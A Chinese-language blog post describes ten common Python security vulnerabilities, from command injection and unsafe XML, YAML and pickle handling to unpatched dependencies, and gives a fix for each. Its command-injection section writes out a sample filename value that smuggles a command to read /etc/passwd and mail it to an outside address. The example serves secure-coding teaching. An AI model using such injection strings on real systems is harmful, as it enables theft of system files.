Python中的10個常見安全漏洞及修復方法

freebus發表於2020-03-07

寫安全的程式碼很困難,當你學習一門程式語言、一個模組或框架時,你會學習其使用方法。在考慮安全性時,你需要考慮如何避免程式碼被濫用,Python也不例外,即使在標準庫中,也存在著許多糟糕的例項。然而,許多 Python 開發人員卻根本不知道這些。


以下是我總結的10個Python常見安全漏洞,排名不分先後。


1、輸入注入 


注入攻擊影響廣泛且很常見,注入有很多種類,它們影響所有的語言、框架和環境。


SQL 注入是直接編寫 SQL 查詢(而非使用 ORM) 時將字串與變數混合。我讀過很多程式碼,其中“引號字元轉義”被認為是一種修復,但事實並非如此,可以透過這個連結(https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)檢視 SQL 注入所有可能發生的方式。


命令注入有可能在使用 popen、subprocess、os.system 呼叫一個程式並從變數中獲取引數時發生,當呼叫本地命令時,有人可能會將某些值設定為惡意值。


下面是個簡單的指令碼(連結:),使用使用者提供的檔名呼叫子程式:




攻擊者會將filename的值設定為“; cat /etc/passwd | mail them@domain.com或者其他同樣危險的值。


修復方法:


如果你使用了 Web 框架,可以用附帶的實用程式對輸入進行清理,除非有充分的理由,否則不要手動構建 SQL 查詢,大多數 ORM 都有內建的清理方法。


對於 shell,可以使用 shlex 模組正確地轉義輸入。


2、解析XML


如果您的應用程式載入並解析XML檔案,可能您正在使用一個XML標準庫模組。有一些針對XML的常見攻擊。大多數為DoS風格(旨破壞系統而不是盜取資料)。這些攻擊很常見,特別是在解析外部(即不可信任的)XML檔案時。


其中一種攻擊為“billion laughs”,因為載入的檔案包含了很多個(數十億)“lols”。你可以載入XML實體檔案,當XML解析器試圖將這個XML檔案載入到記憶體中時,會消耗很多個G的記憶體。不信就試試看:-)

Python中的10個常見安全漏洞及修復方法



另一種攻擊使用外部實體擴充套件。 XML支援從外部URL引用實體,XML解析器通常會直接獲取並載入該資源。“攻擊者可以繞開防火牆訪問保密資源,因為所有請求都是由內部可信的IP地址建立的,請求不是來自於外部。”


需要考慮的另一種情況是您要依賴於第三方軟體包來解碼XML,例如配置檔案,遠端API。您甚至不知道您的某個依賴包已經暴露在攻擊之下。


那麼在Python中會發生什麼?標準庫模組etree,DOM,xmlrpc都容易遭受這些型別的攻擊。詳情參考此連結:


修復方法:


直接用defusedxml(連結:)替換標準庫模組。它增加了針對這類攻擊的安全防護。


3、Assert 語句


不要使用 assert 語句來防止使用者訪問特定程式碼段。例如:


Python中的10個常見安全漏洞及修復方法


預設情況下,Python 以 __debug__ 為 true 來執行指令碼,但在真實環境中,通常使用最佳化執行,這將會跳過 assert 語句並直接轉到安全程式碼,而不管使用者是否是 is_admin 。


修復方法:


僅在單元測試中使用 assert 語句。


4、計時攻擊


計時攻擊本質上是一種透過計算比較提供值所需時間來暴露行為和演算法的方式。計時攻擊需要精確性,所以通常不能用於高延遲的遠端網路。由於大多數 Web 應用程式涉及可變延遲,因此幾乎不可能針對 HTTP Web 伺服器編寫計時攻擊。


但是,如果你的應用程式有提示輸入密碼的命令列,攻擊者就可以編寫一個簡單的指令碼來計算將其值與實際密碼進行比較所需的時間。例子參考連結:http://jyx.github.io/blog/2014/02/02/timing-attack-proof-of-concept/


這裡有一個基於SSH計時攻擊的Python 工具,你可以看看如何使用它。連結:


修復方法:


使用在 Python 3.5 中引入的 secrets.compare_digest 來比較密碼和其他私密值。


5、感染site-packages 或匯入路徑


Python的匯入系統非常靈活。當你為測試程式編寫猴子補丁,或者過載核心函式時,你會感覺非常方便。


但這也是Python最大的安全漏洞之一。


將第三方包安裝到site-packages中,無論是在虛擬環境中還是在全域性site-packages中,你都將暴露在安全風險中。


有一些釋出到PyPi的包與流行的包具有相似的名稱,但是卻執行了任意程式碼。幸運的是,這很可能沒有太大危害,只會“明確表示”這個問題沒有得到真正的解決。


需要考慮的另一種情況是多層依賴包。它們可能包含漏洞,它們也可以透過匯入系統重寫Python預設行為。


修復方法:


你可以利用PyUp.io這個網站提供的工具檢查你的第三方包。使用虛擬環境,確保您的全域性site-packages儘可能乾淨。檢查包簽名。


6、臨時檔案


要在 Python 中建立臨時檔案,你通常會使用 mktemp ( )函式生成一個檔名,然後使用該名稱建立一個檔案。 “這是不安全的,因為另一個程式可能會在呼叫 mktemp ( )和隨後嘗試透過第一個程式建立檔案之間的空隙建立一個同名檔案。”這意味著應用程式可能載入錯誤的資料或暴露其他的臨時資料。


如果呼叫不正確,最新版本的 Python 會發出執行警告。


修復方法:


如果需要生成臨時檔案,請使用 tempfile 模組並使用 mkstemp。(參考連結:)


7、使用 yaml.load


這裡引用 PyYAML 的說明文件:

警告:使用不可信源的資料呼叫 yaml.load 是不安全的! yaml.load 和pickle.load 一樣強大,所以可以呼叫任何 Python 函式。


在流行的Python專案 Ansible 中找到的這樣一個例子(連結:),你可以將此值提供給 Ansible Vault作為(有效的)YAML,它使用檔案中提供的引數呼叫 os.system。


Python中的10個常見安全漏洞及修復方法


所以,從使用者提供的值中載入 YAML 檔案會讓應用大門洞開,很容易遭受攻擊。


修復方法:


總是使用 yaml.safe_load,除非你有其它更好的方法。


8、Pickle漏洞


用pickle反序列化資料和YAML一樣糟糕。在pickle物件時,Python類可以宣告一個名為__reduce__的魔術方法,該方法返回一個字串、或一個元組。攻擊者可以使用它來引用其中一個子程式模組,在主機上執行任意命令。


這有一個在Python2中pickle一個類並開啟shell的例子(連結:https://blog.nelhage.com/2011/03/exploiting-pickle/)。更多利用pickle漏洞的方法請看這個連結:https://lincolnloop.com/blog/playing-pickle-security/


Python中的10個常見安全漏洞及修復方法


修復方法:


切勿用pickle反序列化不受信任或未經身份驗證的資料。改用另一種序列化模式,如JSON。


9、使用系統自帶的Python而不修補漏洞


大多數可移植作業系統都自帶Python2,通常還是舊版本。


由於“Python”,即CPython是用C語言編寫的,所以Python直譯器本身存在漏洞。 C語言中常見的安全問題與記憶體分配有關,所以存在緩衝區溢位錯誤。


多年來CPython出現了多個溢位漏洞,每個漏洞都在後續版本中進行了修復。


也就是說,如果你修補了Python本身的漏洞,你就是安全的。


這裡有一個Python2.7.13及以下版本的整數溢位漏洞例項,連結:。 Ubuntu17以前版本的Python漏洞請參看連結:


修復方法:


安裝最新版本的Python並及時修補漏洞。


10、不修補依賴包的漏洞


類似於修補Python本身的漏洞,您還需要定期修補依賴包漏洞。有人習慣於使用PyPi軟體包的“固定”版本,這種做法很可怕。他們認為“這些是有用的版本”,所以每個人都對漏洞置若罔聞。


上面提到的所有漏洞如果存在於你使用的包中,它們同樣很致命。這些軟體包的開發人員無時不刻不在解決安全問題。


修復方法:


使用類似於PyUP.io這個網站提供的服務去檢查更新,嚮應用程式傳送pull/merge 請求,執行測試,讓軟體包保持更新。使用InSpec這樣的工具(連結:)來驗證真實環境中的安裝版本,並確保修補了最小版本或多個連續版本的漏洞。


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/31365439/viewspace-2678939/,如需轉載,請註明出處,否則將追究法律責任。

相關文章